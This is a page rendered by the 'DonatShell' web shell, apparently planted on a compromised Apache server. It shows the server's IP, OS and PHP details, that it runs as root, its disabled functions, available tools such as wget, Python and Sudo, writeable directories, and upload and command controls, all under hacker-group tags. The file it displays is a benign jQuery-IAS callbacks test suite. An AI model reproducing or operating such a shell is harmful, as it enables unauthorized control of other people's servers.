%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/cwd/html/ppaobm/vendor/webcreate/jquery-ias/test/00-callbacks-test.js
describe("Callbacks", function () {
  before(function() {
    this.timeout = 10000;
  });

  it("can add callback", function() {
    var callbacks = new IASCallbacks(jQuery),
        spy1 = this.spy();

    expect(callbacks.has(spy1)).toBeFalse();

    callbacks.add(spy1);

    expect(callbacks.has(spy1)).toBeTrue();
  });

  it("can remove callback", function() {
    var callbacks = new IASCallbacks(jQuery),
        spy1 = this.spy();

    callbacks.add(spy1);

    expect(callbacks.has(spy1)).toBeTrue();

    callbacks.remove(spy1);

    expect(callbacks.has(spy1)).toBeFalse();
  });

  it("can fire callback", function() {
    var callbacks = new IASCallbacks(jQuery),
        spy1 = this.spy(),
        spy2 = this.spy();

    callbacks.add(spy1);
    callbacks.add(spy2);

    callbacks.fireWith(this, ['arg1']);

    expect(spy1).toHaveBeenCalledOnce();
    expect(spy2).toHaveBeenCalledOnce();
  });

  it("can be enabled/disabled", function() {
    var callbacks = new IASCallbacks(jQuery),
        spy1 = this.spy(),
        spy2 = this.spy();

    callbacks.add(spy1);
    callbacks.add(spy2);

    callbacks.disable();

    callbacks.fireWith(this, ['arg1']);

    expect(spy1).not.toHaveBeenCalled();
    expect(spy2).not.toHaveBeenCalled();

    callbacks.enable();

    callbacks.fireWith(this, ['arg1']);

    expect(spy1).toHaveBeenCalledOnce();
    expect(spy2).toHaveBeenCalledOnce();
  });

  it("can add callback with priority", function() {
    var callbacks = new IASCallbacks(jQuery),
        lastedCalledSpy = null,
        spy1 = function() { lastedCalledSpy = "spy1"; },
        spy2 = function() { lastedCalledSpy = "spy2"; };

    callbacks.add(spy1, 1000); // lowest priority, gets called last
    callbacks.add(spy2, 2000); // highest priority, gets called first

    callbacks.fireWith(this, ['arg1']);

    expect(lastedCalledSpy).toBe("spy1");
  });
});

Anon7 - 2022
AnonSec Team